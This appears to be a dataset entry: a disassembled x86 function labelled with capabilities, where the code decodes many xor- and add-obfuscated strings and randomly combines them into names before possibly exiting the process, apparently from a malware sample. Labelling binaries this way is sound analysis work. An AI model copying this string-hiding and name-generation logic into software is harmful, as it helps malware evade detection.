Function at 0x324331c8
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x334
push ebx
push esi
push edi
call fcn.32433158
test al, al
mov byte [ebp - 0x151], al
jne 0x32433a2a
call fcn.32434148
lea eax, [ebp - 0x88]
mov dword [ebp - 0x20], eax
push dword [0x324396a0]
pop esi
mov edi, dword [ebp - 0x20]
push 5
pop ecx
lodsb al, byte [esi]
sub al, 0xbe
add al, 0x61
stosb byte es:[edi], al
dec ecx
jne 0x32433202
lea eax, [ebp - 0x50]
mov dword [ebp - 0x20], eax
push dword [0x32439b88]
pop esi
mov edi, dword [ebp - 0x20]
mov ecx, 5
lodsb al, byte [esi]
xor al, 0xf3
add al, 0x43
stosb byte es:[edi], al
dec ecx
jne 0x32433220
lea eax, [ebp - 0x40]
mov dword [ebp - 0x20], eax
mov esi, dword [0x32439848]
mov edi, dword [ebp - 0x20]
mov ecx, 5
lodsb al, byte [esi]
add al, 0x48
xor al, 0xc9
stosb byte es:[edi], al
dec ecx
jne 0x3243323d
lea eax, [ebp - 0x108]
mov dword [ebp - 0x20], eax
push dword [0x32439954]
pop esi
push dword [ebp - 0x20]
pop edi
push 7
pop ecx
lodsb al, byte [esi]
add al, 0x11
sub al, 0xde
stosb byte es:[edi], al
dec ecx
jne 0x3243325d
lea eax, [ebp - 0x70]
mov dword [ebp - 0x20], eax
push dword [0x324396c8]
pop esi
mov edi, dword [ebp - 0x20]
push 5
pop ecx
lodsb al, byte [esi]
sub al, 0x69
xor al, 0x9d
stosb byte es:[edi], al
dec ecx
jne 0x32433279
lea eax, [ebp - 0x38]
mov dword [ebp - 0x20], eax
push dword [0x32439790]
pop esi
mov edi, dword [ebp - 0x20]
push 5
pop ecx
lodsb al, byte [esi]
xor al, 0xb9
sub al, 8
stosb byte es:[edi], al
dec ecx
jne 0x32433295
lea eax, [ebp - 0x30]
mov dword [ebp - 0x20], eax
mov esi, dword [0x324398f8]
mov edi, dword [ebp - 0x20]
mov ecx, 5
lodsb al, byte [esi]
xor al, 0x2b
sub al, 0x93
stosb byte es:[edi], al
dec ecx
jne 0x324332b2
lea eax, [ebp - 0x80]
mov dword [ebp - 0x20], eax
mov esi, dword [0x324394c4]
push dword [ebp - 0x20]
pop edi
mov ecx, 5
lodsb al, byte [esi]
sub al, 0x3e
xor al, 0x92
stosb byte es:[edi], al
dec ecx
jne 0x324332d0
lea eax, [ebp - 0xf8]
mov dword [ebp - 0x20], eax
push 0x32439944
pop esi
push dword [ebp - 0x20]
pop edi
mov ecx, 6
lodsb al, byte [esi]
add al, 0xae
sub al, 0x38
stosb byte es:[edi], al
dec ecx
jne 0x324332f1
lea eax, [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov esi, dword [0x32439dec]
mov edi, dword [ebp - 0x20]
push 4
pop ecx
lodsb al, byte [esi]
xor al, 0x3d
add al, 0x58
stosb byte es:[edi], al
dec ecx
jne 0x3243330c
lea eax, [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov esi, 0x324396c4
push dword [ebp - 0x20]
pop edi
push 4
pop ecx
lodsb al, byte [esi]
add al, 0xd5
sub al, 0x69
stosb byte es:[edi], al
dec ecx
jne 0x32433327
lea eax, [ebp - 0xe0]
mov dword [ebp - 0x20], eax
mov esi, dword [0x32439ac8]
mov edi, dword [ebp - 0x20]
mov ecx, 6
lodsb al, byte [esi]
add al, 0xd7
sub al, 0xc9
stosb byte es:[edi], al
dec ecx
jne 0x32433347
lea eax, [ebp - 0xc8]
mov dword [ebp - 0x20], eax
push dword [0x32439a34]
pop esi
push dword [ebp - 0x20]
pop edi
mov ecx, 6
lodsb al, byte [esi]
sub al, 0xf6
add al, 0x46
stosb byte es:[edi], al
dec ecx
jne 0x32433369
lea eax, [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov esi, dword [0x32439858]
push dword [ebp - 0x20]
pop edi
mov ecx, 4
lodsb al, byte [esi]
sub al, 0x23
xor al, 0x88
stosb byte es:[edi], al
dec ecx
jne 0x32433387
lea eax, [ebp - 0x118]
mov dword [ebp - 0x20], eax
mov esi, dword [0x32439c84]
mov edi, dword [ebp - 0x20]
push 7
pop ecx
lodsb al, byte [esi]
xor al, 0x32
add al, 0x39
stosb byte es:[edi], al
dec ecx
jne 0x324333a5
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x20], eax
mov esi, dword [0x32439b44]
mov edi, dword [ebp - 0x20]
mov ecx, 6
lodsb al, byte [esi]
sub al, 0xd7
add al, 0x23
stosb byte es:[edi], al
dec ecx
jne 0x324333c5
lea eax, [ebp - 0xf0]
mov dword [ebp - 0x20], eax
push dword [0x32439bdc]
pop esi
mov edi, dword [ebp - 0x20]
push 6
pop ecx
lodsb al, byte [esi]
xor al, 0x4e
sub al, 0xac
stosb byte es:[edi], al
dec ecx
jne 0x324333e4
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x20], eax
push 0x32439ddc
pop esi
push dword [ebp - 0x20]
pop edi
mov ecx, 4
lodsb al, byte [esi]
add al, 0xf
sub al, 0x8e
stosb byte es:[edi], al
dec ecx
jne 0x32433402
lea eax, [ebp - 0x128]
mov dword [ebp - 0x20], eax
push dword [0x32439b00]
pop esi
mov edi, dword [ebp - 0x20]
mov ecx, 7
lodsb al, byte [esi]
xor al, 0x45
add al, 0xb
stosb byte es:[edi], al
dec ecx
jne 0x32433423
lea eax, [ebp - 0x10]
mov dword [ebp - 0x20], eax
push dword [0x32439654]
pop esi
mov edi, dword [ebp - 0x20]
mov ecx, 4
lodsb al, byte [esi]
add al, 0xc2
sub al, 0x96
stosb byte es:[edi], al
dec ecx
jne 0x32433441
lea eax, [ebp - 8]
mov dword [ebp - 0x20], eax
mov esi, dword [0x324396dc]
push dword [ebp - 0x20]
pop edi
push 4
pop ecx
lodsb al, byte [esi]
add al, 0x71
sub al, 0x85
stosb byte es:[edi], al
dec ecx
jne 0x3243345d
lea eax, [ebp - 4]
mov dword [ebp - 0x20], eax
mov esi, 0x32439408
mov edi, dword [ebp - 0x20]
mov ecx, 4
lodsb al, byte [esi]
sub al, 0x5d
add al, 0x3e
stosb byte es:[edi], al
dec ecx
jne 0x32433479
lea eax, [ebp - 0x90]
mov dword [ebp - 0x20], eax
mov esi, dword [0x32439c80]
mov edi, dword [ebp - 0x20]
push 5
pop ecx
lodsb al, byte [esi]
sub al, 0x90
xor al, 0xe8
stosb byte es:[edi], al
dec ecx
jne 0x32433497
lea eax, [ebp - 0x88]
mov dword [ebp - 0x314], eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x310], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x30c], eax
lea eax, [ebp - 0x108]
mov dword [ebp - 0x308], eax
lea eax, [ebp - 0x70]
mov dword [ebp - 0x304], eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x300], eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x2fc], eax
lea eax, [ebp - 0x80]
mov dword [ebp - 0x2f8], eax
lea eax, [ebp - 0xf8]
mov dword [ebp - 0x2f4], eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x2f0], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x2ec], eax
lea eax, [ebp - 0xe0]
mov dword [ebp - 0x2e8], eax
lea eax, [ebp - 0xc8]
mov dword [ebp - 0x2e4], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x2e0], eax
lea eax, [ebp - 0x118]
mov dword [ebp - 0x2dc], eax
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x2d8], eax
lea eax, [ebp - 0xf0]
mov dword [ebp - 0x2d4], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x2d0], eax
lea eax, [ebp - 0x128]
mov dword [ebp - 0x2cc], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x2c8], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x2c4], eax
lea eax, [ebp - 4]
mov dword [ebp - 0x2c0], eax
lea eax, [ebp - 0x90]
mov dword [ebp - 0x2bc], eax
lea eax, [ebp - 0xd0]
mov dword [ebp - 0x20], eax
push dword [0x32439a30]
pop esi
mov edi, dword [ebp - 0x20]
mov ecx, 6
lodsb al, byte [esi]
add al, 0x80
sub al, 0xee
stosb byte es:[edi], al
dec ecx
jne 0x324335a5
lea eax, [ebp - 0x130]
mov dword [ebp - 0x20], eax
mov esi, str.2N
push dword [ebp - 0x20]
pop edi
mov ecx, 7
lodsb al, byte [esi]
add al, 0x33
xor al, 0x81
stosb byte es:[edi], al
dec ecx
jne 0x324335c5
lea eax, [ebp - 0xd8]
mov dword [ebp - 0x20], eax
push dword [str.C2u_rZ]
pop esi
push dword [ebp - 0x20]
pop edi
mov ecx, 6
lodsb al, byte [esi]
sub al, 0x49
xor al, 0xb6
stosb byte es:[edi], al
dec ecx
jne 0x324335e7
lea eax, [ebp - 0x140]
mov dword [ebp - 0x20], eax
push dword [str.C2x]
pop esi
mov edi, dword [ebp - 0x20]
push 7
pop ecx
lodsb al, byte [esi]
sub al, 0x87
xor al, 0xe6
stosb byte es:[edi], al
dec ecx
jne 0x32433606
lea eax, [ebp - 0x100]
mov dword [ebp - 0x20], eax
mov esi, 0x32439584
mov edi, dword [ebp - 0x20]
mov ecx, 6
lodsb al, byte [esi]
sub al, 0x96
xor al, 0x32
stosb byte es:[edi], al
dec ecx
jne 0x32433625
lea eax, [ebp - 0x150]
mov dword [ebp - 0x20], eax
push dword [0x32439de0]
pop esi
push dword [ebp - 0x20]
pop edi
mov ecx, 8
lodsb al, byte [esi]
add al, 0x2a
xor al, 0x48
stosb byte es:[edi], al
dec ecx
jne 0x32433647
lea eax, [ebp - 0xc0]
mov dword [ebp - 0x20], eax
mov esi, dword [0x32439a8c]
mov edi, dword [ebp - 0x20]
push 6
pop ecx
lodsb al, byte [esi]
add al, 0x50
xor al, 0x92
stosb byte es:[edi], al
dec ecx
jne 0x32433665
lea eax, [ebp - 0xa0]
mov dword [ebp - 0x20], eax
push 0x32439658
pop esi
push dword [ebp - 0x20]
pop edi
mov ecx, 5
lodsb al, byte [esi]
sub al, 0x56
xor al, 0xb6
stosb byte es:[edi], al
dec ecx
jne 0x32433686
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x20], eax
mov esi, 0x324397f4
mov edi, dword [ebp - 0x20]
push 6
pop ecx
lodsb al, byte [esi]
xor al, 0x44
add al, 0x4c
stosb byte es:[edi], al
dec ecx
jne 0x324336a3
lea eax, [ebp - 0x138]
mov dword [ebp - 0x20], eax
mov esi, dword [0x32439680]
push dword [ebp - 0x20]
pop edi
push 7
pop ecx
lodsb al, byte [esi]
add al, 0x9c
xor al, 0xd2
stosb byte es:[edi], al
dec ecx
jne 0x324336c2
lea eax, [ebp - 0x28]
mov dword [ebp - 0x20], eax
mov esi, dword [0x324394fc]
mov edi, dword [ebp - 0x20]
push 5
pop ecx
lodsb al, byte [esi]
xor al, 0xe5
sub al, 0x15
stosb byte es:[edi], al
dec ecx
jne 0x324336dd
lea eax, [ebp - 0x48]
mov dword [ebp - 0x20], eax
mov esi, dword [0x32439414]
mov edi, dword [ebp - 0x20]
mov ecx, 5
lodsb al, byte [esi]
sub al, 0xe9
add al, 0xf
stosb byte es:[edi], al
dec ecx
jne 0x324336fa
lea eax, [ebp - 0x58]
mov dword [ebp - 0x20], eax
push 0x32439418
pop esi
mov edi, dword [ebp - 0x20]
push 5
pop ecx
lodsb al, byte [esi]
add al, 0xf3
sub al, 0x9b
stosb byte es:[edi], al
dec ecx
jne 0x32433715
lea eax, [ebp - 0x98]
mov dword [ebp - 0x20], eax
mov esi, dword [0x32439940]
push dword [ebp - 0x20]
pop edi
push 5
pop ecx
lodsb al, byte [esi]
sub al, 0x60
xor al, 0xfa
stosb byte es:[edi], al
dec ecx
jne 0x32433734
lea eax, [ebp - 0x120]
mov dword [ebp - 0x20], eax
push dword [0x32439974]
pop esi
mov edi, dword [ebp - 0x20]
push 7
pop ecx
lodsb al, byte [esi]
add al, 0x13
xor al, 0x79
stosb byte es:[edi], al
dec ecx
jne 0x32433753
lea eax, [ebp - 0x78]
mov dword [ebp - 0x20], eax
push 0x32439618
pop esi
push dword [ebp - 0x20]
pop edi
push 5
pop ecx
lodsb al, byte [esi]
add al, 0x1b
xor al, 0x48
stosb byte es:[edi], al
dec ecx
jne 0x3243376f
lea eax, [ebp - 0x60]
mov dword [ebp - 0x20], eax
push dword [0x32439b4c]
pop esi
push dword [ebp - 0x20]
pop edi
mov ecx, 5
lodsb al, byte [esi]
xor al, 0x58
sub al, 0x66
stosb byte es:[edi], al
dec ecx
jne 0x3243378e
lea eax, [ebp - 0xb0]
mov dword [ebp - 0x20], eax
mov esi, dword [str._3_0_v]
push dword [ebp - 0x20]
pop edi
push 6
pop ecx
lodsb al, byte [esi]
sub al, 0xd4
xor al, 0x37
stosb byte es:[edi], al
dec ecx
jne 0x324337ad
lea eax, [ebp - 0xe8]
mov dword [ebp - 0x20], eax
mov esi, 0x32439d3c
mov edi, dword [ebp - 0x20]
push 6
pop ecx
lodsb al, byte [esi]
add al, 0x9b
xor al, 0x5d
stosb byte es:[edi], al
dec ecx
jne 0x324337ca
lea eax, [ebp - 0x148]
mov dword [ebp - 0x20], eax
mov esi, dword [0x32439dc8]
mov edi, dword [ebp - 0x20]
push 7
pop ecx
lodsb al, byte [esi]
sub al, 0xb
add al, 0xd9
stosb byte es:[edi], al
dec ecx
jne 0x324337e8
lea eax, [ebp - 0x110]
mov dword [ebp - 0x20], eax
push dword [0x32439484]
pop esi
mov edi, dword [ebp - 0x20]
mov ecx, 7
lodsb al, byte [esi]
sub al, 0xf3
add al, 0x3c
stosb byte es:[edi], al
dec ecx
jne 0x32433809
lea eax, [ebp - 0x68]
mov dword [ebp - 0x20], eax
push dword [0x32439860]
pop esi
push dword [ebp - 0x20]
pop edi
push 5
pop ecx
lodsb al, byte [esi]
sub al, 0x5e
xor al, 0x39
stosb byte es:[edi], al
dec ecx
jne 0x32433826
lea eax, [ebp - 0xd0]
and dword [ebp - 0x158], 0
mov dword [ebp - 0x2b8], eax
lea eax, [ebp - 0x130]
mov dword [ebp - 0x2b4], eax
lea eax, [ebp - 0xd8]
mov dword [ebp - 0x2b0], eax
lea eax, [ebp - 0x140]
mov dword [ebp - 0x2ac], eax
lea eax, [ebp - 0x100]
mov dword [ebp - 0x2a8], eax
lea eax, [ebp - 0x150]
mov dword [ebp - 0x2a4], eax
lea eax, [ebp - 0xc0]
mov dword [ebp - 0x2a0], eax
lea eax, [ebp - 0xa0]
mov dword [ebp - 0x29c], eax
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x298], eax
lea eax, [ebp - 0x138]
mov dword [ebp - 0x294], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x290], eax
lea eax, [ebp - 0x48]
mov dword [ebp - 0x28c], eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x288], eax
lea eax, [ebp - 0x98]
mov dword [ebp - 0x284], eax
lea eax, [ebp - 0x120]
mov dword [ebp - 0x280], eax
lea eax, [ebp - 0x78]
mov dword [ebp - 0x27c], eax
lea eax, [ebp - 0x60]
mov dword [ebp - 0x278], eax
lea eax, [ebp - 0xb0]
mov dword [ebp - 0x274], eax
lea eax, [ebp - 0xe8]
mov dword [ebp - 0x270], eax
lea eax, [ebp - 0x148]
mov dword [ebp - 0x26c], eax
lea eax, [ebp - 0x110]
mov dword [ebp - 0x268], eax
lea eax, [ebp - 0x68]
mov dword [ebp - 0x264], eax
mov ebx, dword [0x324395cc]
cmp dword [ebp - 0x158], 0xa
jge 0x324339e1
call fcn.32438336
push 0x17
sub edx, edx
pop ecx
div ecx
lea eax, [ebp - 0x334]
push dword [ebp + edx*4 - 0x314]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
call fcn.32438336
push 0x16
xor edx, edx
pop ecx
div ecx
lea eax, [ebp - 0x334]
push dword [ebp + edx*4 - 0x2b8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0xc
pop eax
call fcn.32438510
mov dword [ebp - 0x20], esp
mov esi, 0x32439ae4
mov edi, dword [ebp - 0x20]
push 0xa
pop ecx
lodsb al, byte [esi]
add al, 0xfc
sub al, 0xa1
stosb byte es:[edi], al
dec ecx
jne 0x32433995
lea eax, [ebp - 0x334]
push eax
push dword [0x32439968]
push dword [ebp - 0x20]
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x260]
push 1
push eax
push ebx
call fcn.32434244
inc dword [ebp - 0x158]
mov byte [ebp - 0x151], al
and al, al
je 0x32433932
push 1
call fcn.32435f0c
cmp byte [ebp - 0x151], 0
je 0x32433a20
call fcn.32432fbc
lea eax, [ebp - 0x260]
push eax
call fcn.32435318
or al, al
je 0x32433a14
push ebx
call fcn.32433f10
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
call fcn.3243612c
and byte [ebp - 0x151], 0
push 1
call fcn.324355d8
pop ecx
jmp 0x32433a39
push 1
call fcn.324355d8
pop ecx
push 0
call fcn.32435f0c
mov al, byte [ebp - 0x151]
lea esp, [ebp - 0x340]
pop edi
pop esi
pop ebx
leave
ret